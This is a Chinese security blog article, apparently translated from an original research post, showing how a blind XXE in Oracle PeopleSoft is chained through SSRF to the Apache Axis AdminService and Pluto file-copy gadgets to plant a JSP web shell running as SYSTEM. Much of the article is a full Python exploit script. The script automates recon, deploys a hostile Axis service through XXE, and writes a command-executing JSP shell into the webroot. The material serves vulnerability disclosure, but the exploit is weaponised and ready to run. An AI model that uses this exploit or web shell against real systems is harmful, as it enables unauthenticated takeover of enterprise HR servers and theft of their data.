ORACLE PEOPLESOFT远程执行代码:将XXE盲注到SYSTEM SHELL

阅读量    29224 | 评论 5   稿费 100

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

Oracle PeopleSoft

几个月前,我有机会审核了几个Oracle PeopleSoft解决方案,包括PeopleSoft HRMS和PeopleTool。

PeopleSoft应用程序使用 了很多不同的端点,其中很 多端点未经过身份验 证。其中也有很多服务是使用了默认密码。导致它在安全方面非常不稳固。

本文以一种通用的方式将XXE载荷转换为系统运行命令(可能影响每个PeopleSoft版本)。

 

XXE:访问本地网络

我们之前已经了解了多个XXE,例如CVE-2013-3800或CVE-2013-3821。最后记录的示例是ERPScan的CVE-2017-3548。通常可以利用它们提取PeopleSoft和WebLogic控制台的凭据。但是这两个控制台并没有提供一种简单的获取shell的方法。此外 ,我们假设服务设置有防火墙, 因此本文中我们无法从本地文件轻松获取 数据(假装)。

CVE-2013-3821:

POST /PSIGW/HttpListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...

<?xml version="1.0"?>
<!DOCTYPE IBRequest [
<!ENTITY x SYSTEM "http://localhost:51420">
]>
<IBRequest>
   <ExternalOperationName>&x;</ExternalOperationName>
   <OperationType/>
   <From><RequestingNode/>
      <Password/>
      <OrigUser/>
      <OrigNode/>
      <OrigProcess/>
      <OrigTimeStamp/>
   </From>
   <To>
      <FinalDestination/>
      <DestinationNode/>
      <SubChannel/>
   </To>
   <ContentSections>
      <ContentSection>
         <NonRepudiation/>
         <MessageVersion/>
         <Data><![CDATA[<?xml version="1.0"?>your_message_content]]>
         </Data>
      </ContentSection>
   </ContentSections>
</IBRequest>

CVE-2017-3548:

POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...

<!DOCTYPE a PUBLIC "-//B/A/EN" "C:windows">

我们将使用XXE作为从本地主机到达各种服务的一种方式,这种方式可能会绕过防火墙规则或授权检查。唯一的小问题是找到对应服务所绑定的本地端口,我们可以通过cookie访问主页时获得该信息:

Set-Cookie: SNP2118-51500-PORTAL-PSJSESSIONID=9JwqZVxKjzGJn1s5DLf1t46pz91FFb3p!-1515514079;

在这种情况下,可以看出端口是51500。我们可以通过 http://localhost:51500/从 内部到达应用程序。

 

Apache Axis

许多未经身份验证的服务,其中就包括Apache Web服务器,位于URL http://website.com/pspc/services下。Apache Axis允许您使用Java类构建SOAP端点,使用方法是通过生成它们的WSDL和辅助代码来与它们交互。为了管理它,必须与此目录下的AdminService进行交互:http://website.com/pspc/services/AdminService


 

例如,以下是管理员根据java.util.Random类创 建端点:

POST /pspc/services/AdminService
Host: website.com
SOAPAction: something
Content-Type: application/xml
...

<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
        xmlns:xsd="http://www.w3.org/2001/XMLSchema"
        xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Body>
        <ns1:deployment
            xmlns="http://xml.apache.org/axis/wsdd/"
            xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"
            xmlns:ns1="http://xml.apache.org/axis/wsdd/">
            <ns1:service name="RandomService" provider="java:RPC">
                <ns1:parameter name="className" value="java.util.Random"/>
                <ns1:parameter name="allowedMethods" value="*"/>
            </ns1:service>
        </ns1:deployment>
    </soapenv:Body>
</soapenv:Envelope>

如上所示,java.util.Random的每个公共方法都将作为web服务提供。
通过SOAP调用Random.nextInt()是这样的:

POST /pspc/services/RandomService
Host: website.com
SOAPAction: something
Content-Type: application/xml
...

<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
        xmlns:xsd="http://www.w3.org/2001/XMLSchema"
        xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Body>
        <api:nextInt />
    </soapenv:Body>
</soapenv:Envelope>

它会回应:

HTTP/1.1 200 OK
...

<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope
    xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
    xmlns:xsd="http://www.w3.org/2001/XMLSchema"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
    <soapenv:Body>
        <ns1:nextIntResponse
            soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
            xmlns:ns1="http://127.0.0.1/Integrics/Enswitch/API">
            <nextIntReturn href="#id0"/>
        </ns1:nextIntResponse>
        <multiRef id="id0" soapenc:root="0"
            soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
            xsi:type="xsd:int"
            xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">
            1244788438 <!-- Here's our random integer -->
        </multiRef>
    </soapenv:Body>
</soapenv:Envelope>

此管理端点阻止外部IP访问。但从本地主机到达时不需要密码,这使其成为开发的理想选择。

由于我们使用的是XXE,因此使用POST请求是不可能的,所以我们需要一种将SOAP有效载荷转换为GET的方法。

 

Axis : POST到GET

Axis API允许我们发送GET请求。它接收给定的URL参数并将它们转换为SOAP有效载荷。以下是把Axis源代码的GET参数转换为XML有效负载的代码:

public class AxisServer extends AxisEngine {
    [...]
    {
        String method = null;
        String args = "";
        Enumeration e = request.getParameterNames();

        while (e.hasMoreElements()) {
            String param = (String) e.nextElement();
            if (param.equalsIgnoreCase ("method")) {
                method = request.getParameter (param);
            }

            else {
                args += "<" + param + ">" + request.getParameter (param) +
                        "</" + param + ">";
            }
        }

        String body = "<" + method + ">" + args + "</" + method + ">";
        String msgtxt = "<SOAP-ENV:Envelope" +
                " xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">" +
                "<SOAP-ENV:Body>" + body + "</SOAP-ENV:Body>" +
                "</SOAP-ENV:Envelope>";
    }
}

要理解它是如何工作的,最好使用一个例子:

 GET /pspc/services/SomeService
     ?method=myMethod
     &parameter1=test1
     &parameter2=test2

相当于:

<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
        xmlns:xsd="http://www.w3.org/2001/XMLSchema"
        xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Body>
        <myMethod>
            <parameter1>test1</parameter1>
            <parameter2>test2</parameter2>
        </myMethod>
    </soapenv:Body>
</soapenv:Envelope>

不过,当我们尝试使用此方法设置新端点时会出现问题:我们必须有XML标签属性,并且code也通过不了。
当我们尝试将它们添加到GET请求时,例如:

 GET /pspc/services/SomeService
     ?method=myMethod+attr0="x"
     &parameter1+attr1="y"=test1
     &parameter2=test2

以下是我们最终的结果:

<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
        xmlns:xsd="http://www.w3.org/2001/XMLSchema"
        xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Body>
        <myMethod attr0="x">
            <parameter1 attr1="y">test1</parameter1 attr1="y">
            <parameter2>test2</parameter2>
        </myMethod attr0="x">
    </soapenv:Body>
</soapenv:Envelope>

很明显,这不是有效的XML,我们的请求被拒绝。
如果我们将整个有效负载放在方法参数中,如下所示:

GET / pspc / services / SomeService
     ?method = myMethod + attr =“x”> <test> y </ test> < / myMethod

有时候是这样的回应:

<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
        xmlns:xsd="http://www.w3.org/2001/XMLSchema"
        xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Body>
        <myMethod attr="x"><test>y</test></myMethod>
        </myMethod attr="x"><test>y</test></myMethod>
    </soapenv:Body>
</soapenv:Envelope>

最终解决方案来自于使用XML注释:

 GET /pspc/services/SomeService
     ?method=!--><myMethod+attr="x"><test>y</test></myMethod

我们得到:

<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
        xmlns:xsd="http://www.w3.org/2001/XMLSchema"
        xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Body>
        <!--><myMethod attr="x"><test>y</test></myMethod>
        </!--><myMethod attr="x"><test>y</test></myMethod>
    </soapenv:Body>
</soapenv:Envelope>

由于我们添加的前缀!-->,第一个有效载荷便是<!--XML开始,这是XML注释的开始。第二行开头</!接着是-->,是 注释的结束。因此第一行被忽略,我们的有效载荷现在只被解释一次。

由此,我们可以将任何来自POST的SOAP请求转换为GET,这意味着我们可以将任何类作为Axis服务部署,使用XXE绕过IP检查。

 

Axis:Gadgets

Apache Axis不允许我们在部署它们时上传我们自己的Java类; 因此我们必须与已有的漏洞结合。在PeopleSoft的包含了Axis实例的pspc.war中进行了一些研究之后,发现在org.apache.pluto.portalImpl包的类有一些有趣的方法。首先,addToEntityReg(String[] args)允许我们在XML文件的末尾添加任意数据。其次,copy(file1, file2)允许我们在任何地方使用复制。这足以获得一个shell,通过在我们的XML中插入一个JSP负载,并将其复制到webroot中。

如预期的那样,它作为SYSTEM运行,导致未经身份验证的远程系统攻击,仅来自XXE。

 

利用

这个利用向量对于每个最近的PeopleSoft版本应该或多或少是通用的。XXE端点只需要修改。

#!/usr/bin/python3
# Oracle PeopleSoft SYSTEM RCE
# https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce
# cf
# 2017-05-17

import requests
import urllib.parse
import re
import string
import random
import sys


from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)


try:
    import colorama
except ImportError:
    colorama = None
else:
    colorama.init()

    COLORS = {
        '+': colorama.Fore.GREEN,
        '-': colorama.Fore.RED,
        ':': colorama.Fore.BLUE,
        '!': colorama.Fore.YELLOW
    }


URL = sys.argv[1].rstrip('/')
CLASS_NAME = 'org.apache.pluto.portalImpl.Deploy'
PROXY = 'localhost:8080'

# shell.jsp?c=whoami
PAYLOAD = '<%@ page import="java.util.*,java.io.*"%><% if (request.getParameter("c") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("c")); DataInputStream dis = new DataInputStream(p.getInputStream()); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); }; p.destroy(); }%>'


class Browser:
    """Wrapper around requests.
    """

    def __init__(self, url):
        self.url = url
        self.init()

    def init(self):
        self.session = requests.Session()
        self.session.proxies = {
            'http': PROXY,
            'https': PROXY
        }
        self.session.verify = False

    def get(self, url ,*args, **kwargs):
        return self.session.get(url=self.url + url, *args, **kwargs)

    def post(self, url, *args, **kwargs):
        return self.session.post(url=self.url + url, *args, **kwargs)

    def matches(self, r, regex):
        return re.findall(regex, r.text)


class Recon(Browser):
    """Grabs different informations about the target.
    """

    def check_all(self):
        self.site_id = None
        self.local_port = None
        self.check_version()
        self.check_site_id()
        self.check_local_infos()

    def check_version(self):
        """Grabs PeopleTools' version.
        """
        self.version = None
        r = self.get('/PSEMHUB/hub')
        m = self.matches(r, 'Registered Hosts Summary - ([0-9.]+).</b>')

        if m:
            self.version = m[0]
            o(':', 'PTools version: %s' % self.version)
        else:
            o('-', 'Unable to find version')

    def check_site_id(self):
        """Grabs the site ID and the local port.
        """
        if self.site_id:
            return

        r = self.get('/')
        m = self.matches(r, '/([^/]+)/signon.html')

        if not m:
            raise RuntimeError('Unable to find site ID')

        self.site_id = m[0]
        o('+', 'Site ID: ' + self.site_id)

    def check_local_infos(self):
        """Uses cookies to leak hostname and local port.
        """
        if self.local_port:
            return

        r = self.get('/psp/%s/signon.html' % self.site_id)

        for c, v in self.session.cookies.items():
            if c.endswith('-PORTAL-PSJSESSIONID'):
                self.local_host, self.local_port, *_ = c.split('-')
                o('+', 'Target: %s:%s' % (self.local_host, self.local_port))
                return

        raise RuntimeError('Unable to get local hostname / port')


class AxisDeploy(Recon):
    """Uses the XXE to install Deploy, and uses its two useful methods to get
    a shell.
    """

    def init(self):
        super().init()
        self.service_name = 'YZWXOUuHhildsVmHwIKdZbDCNmRHznXR' #self.random_string(10)

    def random_string(self, size):
        return ''.join(random.choice(string.ascii_letters) for _ in range(size))

    def url_service(self, payload):
        return 'http://localhost:%s/pspc/services/AdminService?method=%s' % (
            self.local_port,
            urllib.parse.quote_plus(self.psoap(payload))
        )

    def war_path(self, name):
        # This is just a guess from the few PeopleSoft instances we audited.
        # It might be wrong.
        suffix = '.war' if self.version and self.version >= '8.50' else ''
        return './applications/peoplesoft/%s%s' % (name, suffix)

    def pxml(self, payload):
        """Converts an XML payload into a one-liner.
        """
        payload = payload.strip().replace('n', ' ')
        payload = re.sub('s+<', '<', payload, flags=re.S)
        payload = re.sub('s+', ' ', payload, flags=re.S)
        return payload

    def psoap(self, payload):
        """Converts a SOAP payload into a one-liner, including the comment trick
        to allow attributes.
        """
        payload = self.pxml(payload)
        payload = '!-->%s' % payload[:-1]
        return payload

    def soap_service_deploy(self):
        """SOAP payload to deploy the service.
        """
        return """
        <ns1:deployment xmlns="http://xml.apache.org/axis/wsdd/"
        xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"
        xmlns:ns1="http://xml.apache.org/axis/wsdd/">
            <ns1:service name="%s" provider="java:RPC">
                <ns1:parameter name="className" value="%s"/>
                <ns1:parameter name="allowedMethods" value="*"/>
            </ns1:service>
        </ns1:deployment>
        """ % (self.service_name, CLASS_NAME)

    def soap_service_undeploy(self):
        """SOAP payload to undeploy the service.
        """
        return """
        <ns1:undeployment xmlns="http://xml.apache.org/axis/wsdd/"
        xmlns:ns1="http://xml.apache.org/axis/wsdd/">
        <ns1:service name="%s"/>
        </ns1:undeployment>
        """ % (self.service_name, )

    def xxe_ssrf(self, payload):
        """Runs the given AXIS deploy/undeploy payload through the XXE.
        """
        data = """
        <?xml version="1.0"?>
        <!DOCTYPE IBRequest [
        <!ENTITY x SYSTEM "%s">
        ]>
        <IBRequest>
           <ExternalOperationName>&x;</ExternalOperationName>
           <OperationType/>
           <From><RequestingNode/>
              <Password/>
              <OrigUser/>
              <OrigNode/>
              <OrigProcess/>
              <OrigTimeStamp/>
           </From>
           <To>
              <FinalDestination/>
              <DestinationNode/>
              <SubChannel/>
           </To>
           <ContentSections>
              <ContentSection>
                 <NonRepudiation/>
                 <MessageVersion/>
                 <Data>
                 </Data>
              </ContentSection>
           </ContentSections>
        </IBRequest>
        """ % self.url_service(payload)
        r = self.post(
            '/PSIGW/HttpListeningConnector',
            data=self.pxml(data),
            headers={
                'Content-Type': 'application/xml'
            }
        )

    def service_check(self):
        """Verifies that the service is correctly installed.
        """
        r = self.get('/pspc/services')
        return self.service_name in r.text

    def service_deploy(self):
        self.xxe_ssrf(self.soap_service_deploy())

        if not self.service_check():
            raise RuntimeError('Unable to deploy service')

        o('+', 'Service deployed')

    def service_undeploy(self):
        if not self.local_port:
            return

        self.xxe_ssrf(self.soap_service_undeploy())

        if self.service_check():
            o('-', 'Unable to undeploy service')
            return

        o('+', 'Service undeployed')

    def service_send(self, data):
        """Send data to the Axis endpoint.
        """
        return self.post(
            '/pspc/services/%s' % self.service_name,
            data=data,
            headers={
                'SOAPAction': 'useless',
                'Content-Type': 'application/xml'
            }
        )

    def service_copy(self, path0, path1):
        """Copies one file to another.
        """
        data = """
        <?xml version="1.0" encoding="utf-8"?>
        <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
        xmlns:xsd="http://www.w3.org/2001/XMLSchema"
        xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
        <soapenv:Body>
        <api:copy
        soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
            <in0 xsi:type="xsd:string">%s</in0>
            <in1 xsi:type="xsd:string">%s</in1>
        </api:copy>
        </soapenv:Body>
        </soapenv:Envelope>
        """.strip() % (path0, path1)
        response = self.service_send(data)
        return '<ns1:copyResponse' in response.text

    def service_main(self, tmp_path, tmp_dir):
        """Writes the payload at the end of the .xml file.
        """
        data = """
        <?xml version="1.0" encoding="utf-8"?>
        <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
        xmlns:xsd="http://www.w3.org/2001/XMLSchema"
        xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
        <soapenv:Body>
        <api:main
        soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
            <api:in0>
                <item xsi:type="xsd:string">%s</item>
                <item xsi:type="xsd:string">%s</item>
                <item xsi:type="xsd:string">%s.war</item>
                <item xsi:type="xsd:string">something</item>
                <item xsi:type="xsd:string">-addToEntityReg</item>
                <item xsi:type="xsd:string"><![CDATA[%s]]></item>
            </api:in0>
        </api:main>
        </soapenv:Body>
        </soapenv:Envelope>
        """.strip() % (tmp_path, tmp_dir, tmp_dir, PAYLOAD)
        response = self.service_send(data)

    def build_shell(self):
        """Builds a SYSTEM shell.
        """
        # On versions >= 8.50, using another extension than JSP got 70 bytes
        # in return every time, for some reason.
        # Using .jsp seems to trigger caching, thus the same pivot cannot be
        # used to extract several files.
        # Again, this is just from experience, nothing confirmed
        pivot = '/%s.jsp' % self.random_string(20)
        pivot_path = self.war_path('PSOL') + pivot
        pivot_url = '/PSOL' + pivot

        # 1: Copy portletentityregistry.xml to TMP

        per = '/WEB-INF/data/portletentityregistry.xml'
        per_path = self.war_path('pspc')
        tmp_path = '../' * 20 + 'TEMP'
        tmp_dir = self.random_string(20)
        tmp_per = tmp_path + '/' + tmp_dir + per

        if not self.service_copy(per_path + per, tmp_per):
            raise RuntimeError('Unable to copy original XML file')

        # 2: Add JSP payload
        self.service_main(tmp_path, tmp_dir)

        # 3: Copy XML to JSP in webroot
        if not self.service_copy(tmp_per, pivot_path):
            raise RuntimeError('Unable to copy modified XML file')

        response = self.get(pivot_url)

        if response.status_code != 200:
            raise RuntimeError('Unable to access JSP shell')

        o('+', 'Shell URL: ' + self.url + pivot_url)


class PeopleSoftRCE(AxisDeploy):
    def __init__(self, url):
        super().__init__(url)


def o(s, message):
    if colorama:
        c = COLORS[s]
        s = colorama.Style.BRIGHT + COLORS[s] + '|' + colorama.Style.RESET_ALL
    print('%s %s' % (s, message))


x = PeopleSoftRCE(URL)

try:
    x.check_all()
    x.service_deploy()
    x.build_shell()
except RuntimeError as e:
    o('-', e)
finally:
    x.service_undeploy()
分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多